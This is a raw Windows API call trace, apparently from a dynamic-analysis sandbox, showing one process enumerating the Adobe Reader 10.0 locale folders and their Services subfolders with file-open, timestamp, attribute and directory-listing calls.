CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.373] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.373] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.373] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.375] GetLastError () returned 0x12 [0251.375] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.375] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.375] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.376] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.376] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.376] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.376] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.376] GetLastError () returned 0x12 [0251.376] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.377] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.377] GetLastError () returned 0x12 [0251.377] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.377] GetLastError () returned 0x12 [0251.377] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.377] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.378] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.378] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.378] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.379] GetLastError () returned 0x12 [0251.380] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.380] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.380] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.380] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.380] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.380] GetLastError () returned 0x12 [0251.381] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.381] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.381] GetLastError () returned 0x12 [0251.381] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.381] GetLastError () returned 0x12 [0251.381] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.382] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.382] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.382] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.384] GetLastError () returned 0x12 [0251.384] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.384] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.385] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.385] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.385] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.385] GetLastError () returned 0x12 [0251.385] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.385] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.385] GetLastError () returned 0x12 [0251.385] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.385] GetLastError () returned 0x12 [0251.385] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.386] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.387] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.387] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.388] GetLastError () returned 0x12 [0251.388] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.388] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0251.389] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.389] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.389] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.389] GetLastError () returned 0x12 [0251.389] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.389] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.389] GetLastError () returned 0x12 [0251.389] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.390] GetLastError () returned 0x12 [0251.390] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.391] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.391] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.391] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0251.393] GetLastError () returned 0x12 [0251.393] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.393] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.393] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0251.394] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.394] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.394] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd4e0 [0251.394] GetLastError () returned 0x12 [0251.394] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd620 [0251.394] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0251.394] GetLastError () returned 0x12 [0251.394] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0251.394] GetLastError () returned 0x12 [0251.394] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.395] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.395] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.395] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.397] GetLastError () returned 0x12 [0251.397] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0251.397] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.397] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services"), fInfoLevelId=0x0, lpFileInformation=0x15fe8e0 | out: lpFileInformation=0x15fe8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.397] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0251.397] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0251.398] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0251.398] GetLastError () returned 0x12 